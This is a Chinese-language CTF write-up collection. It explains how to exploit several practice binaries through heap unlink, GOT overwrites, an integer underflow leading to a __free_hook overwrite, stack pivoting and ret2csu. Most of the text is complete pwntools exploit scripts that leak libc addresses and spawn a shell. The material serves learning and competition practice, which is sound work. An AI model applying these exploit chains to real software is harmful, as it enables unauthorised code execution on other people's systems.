在create一个chunk时,程序会将chunk的size写入chunksize_bank_chunk这个chunk中,但如果输入的索引为负数,就会导致size写入到前面的内容中。索引值为-1可以修改这个chunk的size,索引值为-2时可以将这个chunk的size改得很大很大。同时注意,在索引值为-2时,申请的chunk会将chunksize_bank_chunk覆盖掉,也就是0x6020C0的位置,这个地方变成了我们自己申请的chunk了。这样可以将前面分配的chunk的size修改掉,从而可以在edit函数中触发堆溢出。

看来这道题能做文章的漏洞有很多,但是还有一个问题就是,如何获取libc地址?程序中并没有输出的操作。但是,plt表中有puts函数。我们将free函数的got表地址改成puts的plt,就能够实现输出,当然前提是这个chunk要在got表的地方,这样才能拿到got表的地址。

1
2
3
4
5
6
7
8
9
10
.got.plt:0000000000602018 off_602018      dq offset free          ; DATA XREF: _free↑r
.got.plt:0000000000602020 off_602020 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000602028 off_602028 dq offset write ; DATA XREF: _write↑r
.got.plt:0000000000602030 off_602030 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000602038 off_602038 dq offset memcpy ; DATA XREF: _memcpy↑r
.got.plt:0000000000602040 off_602040 dq offset malloc ; DATA XREF: _malloc↑r
.got.plt:0000000000602048 off_602048 dq offset fflush ; DATA XREF: _fflush↑r
.got.plt:0000000000602050 off_602050 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000602058 off_602058 dq offset atoi ; DATA XREF: _atoi↑r
.got.plt:0000000000602060 off_602060 dq offset exit ; DATA XREF: _exit↑r

要修改的是0x602018,那么应该将chunk分配到0x602008的地方。我们需要进行一次double_free操作。

经过gdb调试发现,在glibc 2.27及更高版本无法进行此次double free,因为在_int_free中加入了检查tcache的double free,但2.23中没有发现这类检查代码,因此转到2.23进行调试。

double_free之后UAF,将fd改为0x602008。我满怀期待地执行下一步,gdb却给我来了当头一棒——malloc(): memory corruption (fast)

1
2
3
4
5
6
7
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}

检查通不过:目的地址对应的size必须正确。

看来这条路是走不通了。看下一个思路:unlink。

如果是使用unlink的话,就无需考虑是否存在tcache了。如果有tcache则分配一个large bins大小的chunk让它被释放时不进tcache就好了。

记得在之前的how2heap分析中,对于unlink是直接将后面chunk的prev_inuse置为0的。这里我们不能直接这样做,而是需要利用未被清空的指针。

Step 1: 分配两个非tcache chunk并释放。释放之后,这两个chunk会被合并入top chunk中,绕过double free的检测。
Step 2: 分配一个大chunk使得这个chunk能够包含之前的两个chunk且还要多出一些空间。这一步是为了编辑这两个原先的chunk做准备的。这个大chunk和Step 1中第一个分配的chunk的地址应该是相同的。
Step 3: 在大chunk中构造数据,在原chunk_1前后构造假chunk使free能够通过检查。
Step 4: 释放原chunk_1。

注意:在大chunk中需要在原chunk_1前后均伪造,这是为了通过unlink和_int_free的检查。在后方构造chunk主要构造其prev_inuse位为1以绕过line 4316 (glibc 2.31)的检查,在前方构造chunk是为了绕过unlink的检查,在how2heap中有分析,如有疑问请移步我之前写的how2heap分析文章,这里不再赘述。

1
2
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");

这样,释放chunk_1就能够成功,chunk_0的地址也会被修改到bss段上(0x6020C8)。我们现在可以通过chunk_0随意修改bss段中保存有chunk信息的部分了。之后的操作就是水到渠成:

Step 5: 将chunk_1的地址改为free的got表地址,修改为puts的plt地址。
Step 6: 将chunk_2的地址改为got表中除前两个函数外其他任意一个函数的地址,然后调用free输出地址。利用此地址计算libc的加载地址。
Step 7: 将计算得到的system地址写到free的got表地址中,向chunk_3写入’/bin/sh’(或者找到libc中本来就有的’/bin/sh’字符串地址,将其写到chunk_3的位置上)。
Step 8: 释放chunk_3,getshell。

payload: (本payload在Kali上测试成功,libc版本:Debian GLIBC 2.33-6,2022/4/5最新更新版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')

# libc = ELF('./ctflibc.so.6')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.33.so')
libc_atoi_addr = libc.symbols['atoi']
libc_sys_addr = libc.symbols['system']
libc_write_addr = libc.symbols['write']

print(hex(libc_atoi_addr))
print(hex(libc_sys_addr))

chunk_addr_bss = 0x6020E0

elf = ELF('./pwn')
io = process('./pwn')
# io = remote('111.200.241.244', 54585)

def create(size, index, content):
io.sendlineafter(b'$ ', b'1')
io.sendlineafter(b'Input size\n', str(size).encode())
io.sendlineafter(b'Input cun\n', str(index).encode())
io.sendafter(b'Input content\n', content)

def delete(index):
io.sendlineafter(b'$ ', b'2')
io.sendlineafter(b'Chose one to dele\n', str(index).encode())

def edit(index, content):
io.sendlineafter(b'$ ', b'3')
io.sendlineafter(b'Chose one to edit\n', str(index).encode())
io.sendafter(b'Input the content\n', content)

main_addr = 0x400C8C
pop_rdi_ret_addr = 0x400DA3
one_gadget_addr = 0x41EBC

io.recv()
io.sendline(b'CoLin')

create(0x420, 0, b'flag')
create(0x420, 1, b'flag')
delete(1)
delete(0)

payload = p64(0) # fake chunk prev_size
payload += p64(0x420) # fake chunk size
payload += p64(chunk_addr_bss - 0x18) # fake chunk fd
payload += p64(chunk_addr_bss - 0x10) # fake chunk_bk
payload += b'\x00' * 0x400 # useless filling data

payload += p64(0x420) # front chunk prev_size (modified)
payload += p64(0x420) # front size (modified)
payload += b'\x00' * 0x410 # useless filling data for front chunk

payload += p64(0x420) # fake front-front chunk prev_size
payload += p64(0x21) # fake front-front chunk size with prev_inuse = true
create(0x860, 0, payload)

delete(1) # trigger unlink_chunk(av, p)

# now the address of chunk_0 (0x6020e0) has been changed into 0x6020c8, we can edit the next chunk into .got.plt

payload = b'\x00' * 0x18 # useless data for filling
payload += p64(0x6020c8) # chunk_0 address
payload += p64(1) # chunk_0 inuse
payload += p64(0x602018) # change the chunk_1 to .got.plt of free()
payload += p64(1) # change chunk_1 into inuse
payload += p64(0x602028) # the .got.plt of write, ready to be used to get libc loading address
payload += p64(1) # set the chunk_2 into inuse for free()

edit(0, payload)

edit(1, p64(elf.plt['puts'])) # change the address, now free() equals puts()

delete(2)

mem_write_addr = u64(io.recv(6) + b'\x00\x00') # get the write() address in memory
libc_base = mem_write_addr - libc_write_addr # libc loading base
mem_sys_addr = libc_base + libc_sys_addr # system() address in memory

edit(1, p64(mem_sys_addr)) # now free() equals system()

create(0x20, 3, b'/bin/sh')
delete(3)

io.interactive()

当然,本着学习的态度,我们可以思考一下,除了这种方法还有没有其他的方法呢?在发布wp点赞第一的文章中,我看到了对整型溢出的利用。上面的方法不需要整型溢出就可以实现,而整型溢出为我们提供了另外一种获取libc加载地址的方法。

由于本程序没有canary,如果我们将size写成负数,就可以在栈上实现溢出。但是这里我有一点不太清楚:如果将size写为负数,那么malloc注定失败返回空指针。在将content写入栈时,dest的值仍然是0,为什么不会报段错误?在进行gdb调试时,read函数检测到size为-1时根本就不会中断等待输入,而在脚本中我们强制传过去了一段内容,不知这样会对程序产生什么样的影响,但memcpy这个函数注定是不会执行了。总之这种方式是有效的,使用ROP获取到了puts函数的got表地址。

之后还是通过unlink,只不过直接修改free的地址即可。

payload: (本payload在Kali上测试成功,libc版本:Debian GLIBC 2.33-6,2022/4/5最新更新版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')

# libc = ELF('./ctflibc.so.6')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.33.so')
libc_atoi_addr = libc.symbols['atoi']
libc_sys_addr = libc.symbols['system']
libc_puts_addr = libc.symbols['puts']

print(hex(libc_atoi_addr))
print(hex(libc_sys_addr))

chunk_addr_bss = 0x6020E0

elf = ELF('./pwn')
io = process('./pwn')
# io = remote('111.200.241.244', 54585)

def create(size, index, content):
io.sendlineafter(b'$ ', b'1')
io.sendlineafter(b'Input size\n', str(size).encode())
io.sendlineafter(b'Input cun\n', str(index).encode())
io.sendafter(b'Input content\n', content)

def delete(index):
io.sendlineafter(b'$ ', b'2')
io.sendlineafter(b'Chose one to dele\n', str(index).encode())

def edit(index, content):
io.sendlineafter(b'$ ', b'3')
io.sendlineafter(b'Chose one to edit\n', str(index).encode())
io.sendafter(b'Input the content\n', content)

main_addr = 0x400C8C
pop_rdi_ret_addr = 0x400DA3
one_gadget_addr = 0x41EBC

io.recv()
io.sendline(b'CoLin')

payload = cyclic(0x80)
payload += b'\x00' * 8 # the dest address, not matter
payload += b'\x00' * 8 # not to change the index
payload += cyclic(0x8) # size
payload += p64(pop_rdi_ret_addr) + p64(elf.got['puts']) # pop the address of .got.plt(puts) to rdi
payload += p64(elf.plt['puts']) + p64(main_addr) # return to start address of main

create(-1, 0, payload)

mem_puts_addr = u64(io.recv(6) + b'\x00\x00')
libc_base = mem_puts_addr - libc_puts_addr
mem_sys_addr = libc_base + libc_sys_addr

io.recv()
io.sendline(b'CoLin')

create(0x420, 0, b'flag')
create(0x420, 1, b'flag')
delete(1)
delete(0)

payload = p64(0) # fake chunk prev_size
payload += p64(0x420) # fake chunk size
payload += p64(chunk_addr_bss - 0x18) # fake chunk fd
payload += p64(chunk_addr_bss - 0x10) # fake chunk_bk
payload += b'\x00' * 0x400 # useless filling data

payload += p64(0x420) # front chunk prev_size (modified)
payload += p64(0x420) # front size (modified)
payload += b'\x00' * 0x410 # useless filling data for front chunk

payload += p64(0x420) # fake front-front chunk prev_size
payload += p64(0x21) # fake front-front chunk size with prev_inuse = true
create(0x860, 0, payload)

delete(1) # trigger unlink_chunk(av, p)

# now the address of chunk_0 (0x6020e0) has been changed into 0x6020c8, we can edit the next chunk into .got.plt

payload = b'\x00' * 0x18 # useless data for filling
payload += p64(0x6020c8) # chunk_0 address
payload += p64(1) # chunk_0 inuse
payload += p64(0x602018) # change the chunk_1 to .got.plt of free()
payload += p64(1) # change chunk_1 into inuse

edit(0, payload)

edit(1, p64(mem_sys_addr)) # change the address, now free() equals system()

create(0x20, 2, b'/bin/sh')
delete(2)

io.interactive()

以上就是适用于目前最新版本libc的两种解题方案。如果版本比较老还可以考虑使用fastbin的double_free,但是考虑到目前比赛使用的glibc版本越来越高,这里只分析这两种方法。

源文件:my_github

这是一道堆题,模拟了学生和老师的有趣生活。

在这里,老师能干的事情有:添加学生、评分(分数随机,通常不超过10分)、为某一个学生写评语、叫家长(删除学生)。学生能干的事情有:做题(在本赛题中没有用)、查看评语、祈祷、设置模式(在本赛题中没有用)、修改要操作的学号。其中学生祈祷后,老师评分时能够发现,并吐槽一下,额外减10分。如果学生查看自己的分数发现大于89分,则可以获得奖励:获取到该学生信息的堆块地址,以及对任意地址的值加1(这种奖励每位学生只能获得一次)。

首先,我们需要发现一个整型漏洞。注意到祈祷之后评分会额外扣10分,如果本来没有10分,扣除之后就成了负数。看一下汇编,这里的跳转指令用的是jbe,也就是无符号整数的比较,这样就形成了一个整型漏洞。扣这10分之后,我们就可以进行任一地址加1的操作了。这是本题中最为关键的操作,没有之一。

在本题中,首先我们要获取libc的加载地址,好定位system函数。由于本题使用的glibc版本为2.31,因此任何小于0x400的chunk在释放时都会被存储到tcache中,而tcache chunk中并不包含任何glibc的偏移地址。这样,我们是无法知道glibc的偏移的。要想获得glibc地址,我们需要让一个chunk进入unsorted bin。这就需要使这个chunk的大小超过0x400。我们手中能用的手段只有任一地址加1,因此顺理成章地我们可以将这里的地址改大为0x500,这样就能够获得一个unsorted bin chunk了。

但是,如果仅仅是单纯地这样修改,我们仍然无法对这个chunk进行有效地控制。因为free意味着删除学生,程序中删除学生会将对应位置的悬挂指针清零,使我们看上去失去了UAF的可能性。但是别忘了,任一地址加1也是一个很好的攻击武器。如果我们通过任意地址加1能够修改一个学生评语的指针,那会怎么样呢?我们可以让两个学生的评语指向同一个位置,这样就实现了UAF。

经过实际验证,发现本程序中有很多需要注意的细节问题,需要把握好这些细节才能够拿到shell,否则程序容易崩溃退出。

1. 学生数量问题

从添加学生的程序中看出,学生最多只能有7个,而删除学生能够让计数器减1。

2. 评分问题

在评分的函数中,我们发现了一个程序bug。

假如我们现在已经有了7名学生,删除第1名学生,其指针会变成空指针,计数器的值应为6。但是评分遍历时还是会遍历到第1名学生,就会导致段错误。为了防止这种情况的发生,我们每一次删除一名学生都必须删除最后一名学生。

3. 地址写

在任意地址写程序中,我们需要输入一个地址的10进制数。但是出题人在处理这个10进制数的时候没有处理好。本来read函数读取到换行结束,出题人应该是想把换行改成空字符,但是很不巧的是他改错了,将最后一位数字改成了空字符。这就需要我们每一次输入地址的时候都要在后面多输入一位无效数字,在比赛的时候这个小bug造成了一些不必要的时间浪费。(屑出题人)

4. calloc

本题中除了teacher端输入6调用了一个malloc之外,其他的内存分配均使用calloc,而calloc不会分配tcache中的chunk。

注意到上面的限制条件之后,我们可以对步骤细化:

Step 1: 构造学生4的评语在学生5、6评语之后,绕过删除评语5的检查
Step 2: 奖励学生4,将学生5、6的评语(原大小:0x400)指向同一位置
Step 3: 奖励学生6,使学生6评语大小改大0x100(利用学生6的奖励机会)
Step 4: 删除学生6
Step 5: 读取学生5评语获取libc地址
Step 6: 将学生6添加回来
Step 7: 用学生5覆写学生6的chunk指针到__free_hook
Step 8: 为学生6写评语’/bin/sh’
Step 9: 在__free_hook写入system地址
Step 10: 用学生5覆写学生6的chunk指针返回到原来的位置
Step 11: 删除学生6,getshell

这里需要明确一点:在glibc 2.31的地盘,想要分配一个chunk到__free_hook是一件很难的事情。因为在分配前会对目标地址进行一系列的检查,具体参见我的how2heap学习第9篇文章。由于本题使用calloc作为内存分配函数,因此将tcache指针指向__free_hook也是无效的。因此,本题需要转换思路,直接修改写入评语的地址到__free_hook,即上述第7步。

在上面的思路中,第10步运用了calloc函数的特性,需要我们对本程序堆内存的分配情况有充分的了解,下面进行解释:

在bss段有一个长度为7的数组,存放学生信息的chunk指针,为描述方便,将这个数组中指针指向的chunk称为pointer chunk。每一个pointer chunk的大小均为0x30,其中只保存一个堆chunk指针,这个chunk指针指向的chunk保存的是该学生的分数、是否已经领取奖励的标志位、评语的chunk(以下称comment chunk)、评语chunk的长度等信息,大小为0x20,称其为header chunk(实际分配为0x18,最后8字节与后一个chunk的prev_size重合)。由于每一次添加学生时,两个chunk先后被分配,因此在一开始,不妨将7个学生均分配一次,这样堆空间中就会存在7个这样的结构:


在后面,是我们申请的评语的chunk,一开始我们会申请3个评语chunk,大小分别为0x100,0x400,0x200,分别给学生5,6,4。其中学生5分配0x100是为了后续步骤中将学生5的评语指针修改至与学生6重合。

由于在后期将学生6的chunk size改大0x100后需要free,因此在学生4的comment chunk中需要进行一定的构造以绕过检查。在学生4的comment chunk对应位置构造假chunk,这个假chunk头应该在学生6的comment chunk扩大0x100后其尾部的正后方,也即学生4 comment chunk头部向后偏移0x100处,构造如下内容:

这两个假chunk可用于绕过_int_free函数的检查:

1
2
3
4
5
6
7
8
// line 4316
if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");

// line 4320
if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)");

在此之后,将学生5的comment chunk指针改到学生6的comment chunk可写头部,将学生6的comment chunk改大0x100后释放。

此时,我们使用stu5的指针可以获取到stu6 comment chunk的libc地址,因为此时这个chunk大小为0x500,在unsorted bin中。
之后将stu6申请回来,由于calloc不会使用tcache,因此在comment chunks上方被释放到tcache中原stu6的pointer chunk和header chunk均不会被分配出来,而是会对stu6的comment chunk进行切割,从而也就能够使我们能通过stu5的指针对stu6的信息进行随意改写。我们先对stu6写评语:‘/bin/sh’,这个地址我们可以得到,就在stu6的header chunk之上,我们首先将计算得到的__free_hook地址写到stu6的header chunk中存放comment chunk指针的地方,这样可以在对stu6写评语时直接修改__free_hook的值。然后再对stu5写评语将stu6的comment chunk指针改回到原先写有’/bin/sh’的地方,再执行free函数即可getshell。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
from pwn import *
context(arch='amd64', log_level='debug')

io = process('./examination')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

students = [0, 0, 0, 0, 0, 0, 0]
reviews = [None, None, None, None, None, None, None]
chunk_addr = [0, 0, 0, 0, 0, 0, 0]
scores = [0, 0, 0, 0, 0, 0, 0]
current_role = 0
current_sid = 0
student_num = 0

def add_student(q):
global student_num
assert(current_role == 0)
io.sendlineafter(b'choice>> ', b'1')
io.sendlineafter(b'enter the number of questions: ', str(q).encode())
students[student_num] = 1
chunk_addr[student_num] = 'unknown'
student_num += 1

def give_score():
assert(current_role == 0)
io.sendlineafter(b'choice>> ', b'2')
io.recvuntil(b'marking testing papers.....\n')
sid = 0
while True:
s = io.recvuntil(b'\n', drop=True)
if s == b'finish':
break
elif b'score' in s:
sid = s[14] - 0x30
scores[sid] = int(s[29:].decode(), 10)
else:
scores[sid] -= 10
if scores[sid] < 0:
scores[sid] += 256

def write_review(sid, size, comment, bytes=False, enter=True):
assert(current_role == 0 and students[sid] == 1)
io.sendlineafter(b'choice>> ', b'3')
io.sendlineafter(b'which one? > ', str(sid).encode())
if reviews[sid] is None:
io.sendlineafter(b'please input the size of comment: ', str(size).encode())
if enter:
if not bytes:
io.sendlineafter(b'enter your comment:', comment.encode())
else:
io.sendlineafter(b'enter your comment:', comment)
else:
if not bytes:
io.sendafter(b'enter your comment:', comment.encode())
else:
io.sendafter(b'enter your comment:', comment)
reviews[sid] = comment

def call_parent(sid):
global student_num
assert(current_role == 0 and students[sid] == 1)
io.sendlineafter(b'choice>> ', b'4')
io.sendlineafter(b'which student id to choose?', str(sid).encode())
students[sid] = 2
reviews[sid] = None
student_num -= 1

def change_role(role):
global current_role
io.sendlineafter(b'choice>> ', b'5')
io.sendlineafter(b'role: <0.teacher/1.student>: ', str(role).encode())
current_role = role

def check_review(address, offset=True):
assert(current_role == 1)
io.sendlineafter(b'choice>> ', b'2')
if io.recv(4) == b'Good':
c = chunk_addr[current_sid] = int(io.recvuntil(b'add', drop=True)[-13:].decode(), 16)
chunk_addr[current_sid] -= 0x10 # get the address of chunk head instead of writable head
io.sendlineafter(b'wherever you want! addr: ', str((c + address) * 10).encode())

def pray():
assert(current_role == 1)
io.sendlineafter(b'choice>> ', b'3')

def change_sid(sid):
global current_sid
assert(current_role == 1 and students[sid] != 0)
io.sendlineafter(b'choice>> ', b'6')
io.sendlineafter(b'input your id: ', str(sid).encode())
current_sid = sid

def print_status():
print('students: ', end='')
print(students)
print('reviews: ', end='')
print(reviews)
print('chunk_addr: ', end='')
print(chunk_addr)
print('scores: ', end='')
print(scores)
print('current_role: ' + str(current_role))

io.sendlineafter(b'role: <0.teacher/1.student>: ', b'0')
for i in range(7):
add_student(1)

change_role(0)
write_review(5, 0xF0, 'deadbeef')
write_review(6, 1024-16, 'deadbeef')

### Step 1: construct a fake chunk to bypass the check for free() of student 6
write_review(4, 0x200, b'a' * 0xF0 + p64(0x500) + p64(0x21) + p64(0) * 3 + p64(0x21), True)

### Step 2: give student 4 reward to change the chunk address of student 5 to that of student 6
change_role(1)
change_sid(4)
pray()

change_role(0)
give_score() # int overflow

change_role(1)
change_sid(4)
check_review(0x39 + 0x50)
chunk_addr[4] += 0x200

### Step 3: give student 6 reward to change the chunk size of student 6 to 0x100 more
change_role(1)
change_sid(6)
pray()

change_role(0)
give_score() # int overflow

change_role(1)
change_sid(6)
check_review(0x48 + 0x100 + 1)

### Step 4: delete student 6 to free the chunk with fake size: 0x500
change_role(0)
call_parent(6)

### Step 5: read the comment of student 5 to get and calculate the libc address
change_role(1)
change_sid(5)

io.sendlineafter(b'choice>> ', b'2')
io.recvuntil(b'here is the review:\n')
main_arena = u64(io.recv(6) + b'\x00\x00') - 96
libc_base = main_arena - (libc.symbols['__malloc_hook'] + 0x10)
sys_addr = libc_base + libc.symbols['system'] # system address got
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']

### Step 6: get student 6 back, now the pointer of student 6 should be in the chunk of student 5
change_role(0)
add_student(1)

### Step 7: write comment for student 6: '/bin/sh'
write_review(6, 10, '/bin/sh')

### Step 8: change the address of student 6 to write system address to __free_hook
stu6_writeaddr = chunk_addr[4] + 0x50 # address of student 6 to write to

payload = p64(chunk_addr[4] + 0x30) # address of student 6 header chunk
payload += p64(0) * 4
payload += p64(0x21) # size of student 6 header chunk
payload += p64(1)
payload += p64(free_hook) # change the write address of student 6 to __free_hook
write_review(5, 0, payload, bytes=True)

### Step 9: write system address to __free_hook
write_review(6, 0, p64(sys_addr), bytes=True)

### Step 10: change the address of student 6 back to buffer string '/bin/sh'
payload = p64(chunk_addr[4] + 0x30) # address of student 6 header chunk
payload += p64(0) * 4
payload += p64(0x21) # size of student 6 header chunk
payload += p64(1)
payload += p64(stu6_writeaddr)
write_review(5, 0, payload, bytes=True)

### Step 11: delete student 6, getshell
change_role(0)
call_parent(6)
io.interactive()

ROP Emporium是一个提供ROP攻击学习样板程序的网站,一共8道题,每道题有64位、32位、ARM、MIPS共4种格式的ELF文件,适用于多种平台,难度依次递增。本文档为前6道题的x86_64位版本的解析。

ROP Emporium

7. pivot

看名字就知道,这是一道栈迁移的题目。

gadget如下,有对栈的操作,能够修改rsp,也就能进行栈迁移了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004009BB ; ---------------------------------------------------------------------------
.text:00000000004009BB
.text:00000000004009BB usefulGadgets:
.text:00000000004009BB pop rax
.text:00000000004009BC retn
.text:00000000004009BD ; ---------------------------------------------------------------------------
.text:00000000004009BD xchg rax, rsp
.text:00000000004009BF retn
.text:00000000004009C0 ; ---------------------------------------------------------------------------
.text:00000000004009C0 mov rax, [rax]
.text:00000000004009C3 retn
.text:00000000004009C4 ; ---------------------------------------------------------------------------
.text:00000000004009C4 add rax, rbp
.text:00000000004009C7 retn
.text:00000000004009C7 ; ---------------------------------------------------------------------------

程序一共有两次输入的机会,第一次是在伪造的栈中,第二次是直接接在后面的ROP。第二次的ROP长度不足,因此采用栈迁移。经过试验发现,第二个ROP的长度正好足够进行栈迁移。迁移后,我们只需要返回到ret2win函数即可。但是这个函数在lib文件中,加载基地址未知。对此,我们可以调用gadget获取lib中foothold_function函数的基地址,这也是源程序中唯一一个能够在plt节中找到的lib函数。注意到有一个gadget是mov rax, [rax],既然我们能够控制rax的值,就可以将任意地址的值写入到rax中。如果没有这个gadget,我们就需要使用puts或printf函数将地址输出并返回到main函数中再次进行ROP注入。注意到还有一个gadget是add rax, rbp。我们读取lib中的函数偏移,让rbp等于ret2win的地址与foothold_function地址之差,就能够不通过输出直接将ret2win的地址保存到rax之中(在整个过程中rbp会通过leave, push, pop等指令保持不变)。注意到程序中有一条指令为jmp rax。我们直接跳转到这条指令即可让控制流跳转到ret2win函数。我想作者不让我们使用puts函数再进行一次注入的原因可能与程序本身有关,因为除了jmp rax之外,我们无法将返回地址写到栈上,这也就强迫我们使用所有的gadget。

参考:leave指令 = mov rsp, rbp; mov rbp, [rbp]

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'

io = process('./pivot')
elf = ELF('./pivot')
lib = ELF('./libpivot.so')

rax = 0x4009bb
rsp = 0x4009bd
rax_addr = 0x4009c0
add_rax = 0x4009c4
jmp_rax = 0x4007c1
main_addr = 0x400847

io.recvuntil(b'place to pivot: 0x')
fake_stack = int(io.recv(12).decode(), 16)

# ROP chain in fake stack
payload = p64(elf.plt['foothold_function']) # call foothold_function() first so that the .got section can be rewritten into real address of this function
payload += p64(rax) + p64(elf.got['foothold_function']) # get rax to the address of .got
payload += p64(rax_addr) # read the address to rax
payload += p64(add_rax)
payload += p64(jmp_rax)
io.sendlineafter(b'> ', payload)

# ROP chain in stack
payload = cyclic(32) # 0x20
payload += p64(lib.symbols['ret2win'] - lib.symbols['foothold_function']) # value that needed to be added to rax later
payload += p64(rax) + p64(fake_stack) # pop fake stack address to rax
payload += p64(rsp) # exchange rax and rsp, the length of first ROP comes to the limit: 0x40
io.sendlineafter(b'> ', payload)

io.interactive()

8. ret2csu

这是一种利用__libc_csu_init函数构造ROP的攻击方式。在本题中,由于是64位程序,因此在有些细节方面可能不好把握。

本题有后门函数ret2win,但是要想拿到shell首先需要传入正确的参数,即第7行的3个参数。

ret2csu的攻击流程大致如下:

首先将返回地址改到ret2csu函数的这个地方:

在这里我们可以控制一系列寄存器的值。如果我们使用ROPgadget查找还能够发现惊喜。

注意到上面的pop rdi; ret了吗?它实际上是将原来的pop r15指令拆掉了,其机器码正好是5F,上面的pop rsi, ret同理。因此在这里我们可以控制的寄存器有:rbx,rbp,r12,r13,r14,r15,rdi,rsi,其中rdi,rsi是作为函数的前两个参数传递的,因此我们可以正确地传入前两个参数。

第三个函数参数在rdx中保存,可惜我们这里并不能控制rdx,这就需要用到__libc_csu_init函数的第二个gadget了:

这里可以将rdx赋值为r15的值,而我们之前能够控制r15的值,因此第三个参数能够正确传入。后面的call指令,由于我们能够控制r12和rbx的值,那么也就相当于我们可以call任意一个地址。

但是!有一个问题出现了。请注意,这里会对rdx,rsi,edi进行赋值。其中rdx和rsi的赋值都没问题,我们将参数事先存放到r15和r14中即可。问题就出在对edi的赋值上。根据测试检验发现,mov esi, r13d指令会将rdi的高32位清零。这就会导致我们的第一个参数错误。但好巧不巧的是其后面就是call指令,我们已经没有机会再去修改这个错误了。

我曾经想过,如果第一次能够call回到第一个ROP段中将rdi重新pop一次,之后直接返回到call指令,或许有用。但这里的call是取地址,如果将r12+rbx*8改为pop rdi;ret的地址,实际上call的并不是这里,而是会读取这里的机器码call出去,这当然是会崩溃的。

参考其他资料发现这里的指令依libc版本不同而可能不同,在有些版本中是mov rdi, r13,这样的话没有任何问题,但现在这种情况就需要动动脑子了。问师傅,鸽了两周都不回——无奈只能全论坛找答案。(菜)

参考文章:传送门

实际上通过ret,我们不是非得通过call指令转到ret2win函数,任何一个ret之后接ret2win函数的地址均可。所以这里的思路就是:让call指令无意义且在确保对寄存器影响最小的情况下返回,不能影响rdx的值,否则无效。


我们再回过头看一下这段代码,如果我们call之后能够安全返回,那么之后会判断rbp和rbx是否相等。我们可以控制rbp和rbx的值,因此这里的jnz我们可以跳过,方法是:将rbx赋值为0,rbp赋值为1。这样在call之后我们又可以进行一连串的pop操作。此时的pop显然并不会影响rdi,rsi,rdx的值,在ret之后接上pop rdi,ret的地址就能够将rdi成功修正,然后直接返回到ret2win函数,岂不妙哉。

因此,我们现在的目标是在ret2csu程序中找到一个能够安全返回且不影响rdx的代码片段。当然我们需要根据ret指令来查找。在IDA中进行查找,对每个ret指令前面的代码进行检查,判断其是否满足我们的需求。下面是找到的可能符合需求的几个代码碎片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.init:00000000004004E2 48 83 C4 08                                   add     rsp, 8
.init:00000000004004E6 C3 retn

.text:0000000000400588 5D pop rbp
.text:0000000000400589 C3 retn

.text:00000000004005C8 5D pop rbp
.text:00000000004005C9 C3 retn

.text:00000000004005E2 C6 05 4F 0A 20 00 01 mov cs:__bss_start, 1
.text:00000000004005E9 5D pop rbp
.text:00000000004005EA C3 retn

.text:0000000000400610 B8 00 00 00 00 mov eax, 0
.text:0000000000400615 5D pop rbp
.text:0000000000400616 C3 retn

.text:0000000000400630 5D pop rbp
.text:0000000000400631 C3 retn

.text:0000000000400696 48 83 C4 08 add rsp, 8
.text:000000000040069A 5B pop rbx
.text:000000000040069B 5D pop rbp
.text:000000000040069C 41 5C pop r12
.text:000000000040069E 41 5D pop r13
.text:00000000004006A0 41 5E pop r14
.text:00000000004006A2 41 5F pop r15
.text:00000000004006A4 C3 retn

.fini:00000000004006B4 48 83 EC 08 sub rsp, 8 ; _fini
.fini:00000000004006B8 48 83 C4 08 add rsp, 8
.fini:00000000004006BC C3 retn

其中最值得我们关注的就是最后一个片段,它将rsp减8又加8,相当于没有任何变化,而前面的片段均对寄存器有或多或少的影响。于是我们使用最后一个代码片段试试看。

